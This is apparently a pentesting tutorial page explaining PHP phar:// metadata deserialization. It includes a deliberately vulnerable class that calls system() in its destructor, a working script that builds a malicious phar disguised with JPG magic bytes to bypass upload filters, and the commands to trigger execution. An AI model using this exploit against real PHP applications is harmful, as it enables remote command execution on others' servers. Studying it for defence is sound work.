# phar:// deserialization

**Phar** files (PHP Archive) files** contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file_get_contents(), fopen(), file() or file_exists(), md5\_file(), filemtime() or filesize()**.

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:

{% code title="vunl.php" %}
```php
<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}

You can create a **phar** file that when loaded will** abuse this class to execute arbitrary command**s with something like:

{% code title="create_phar.php" %}
```php
<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}

Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
**Compile** the` test.phar` file with:

```bash
php --define phar.readonly=0 create_phar.php
```

And execute the `whoami` command abusing the vulnerable code with:

```bash
php vuln.php
```

### References

[https://blog.ripstech.com/2018/new-php-exploitation-technique/](https://blog.ripstech.com/2018/new-php-exploitation-technique/)